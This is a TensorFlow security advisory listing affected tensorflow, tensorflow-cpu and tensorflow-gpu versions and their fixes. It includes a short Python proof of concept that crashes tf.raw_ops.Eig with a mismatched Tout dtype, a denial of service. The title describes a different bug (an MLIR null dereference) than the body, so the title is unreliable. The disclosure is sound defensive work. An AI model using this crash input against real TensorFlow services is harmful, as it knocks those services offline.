GHSA-fqxc-pvf8-2w9v TensorFlow vulnerable to null dereference on MLIR on empty function attributes

• PyPI tensorflow: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-cpu: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-cpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-cpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-gpu: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-gpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-gpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1

Impact `Eig` can be fed an incorrect `Tout` input, resulting in a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf import numpy as np arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32) arg_1=tf.complex128 arg_2=True arg_3='' tf.raw_ops.Eig(input=arg_0, Tout=arg_1, compute_v=arg_2, name=arg_3) ``` Patches We have patched the issue in GitHub commit aed36912609fc07229b4d0a7b44f3f48efc00fd0. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.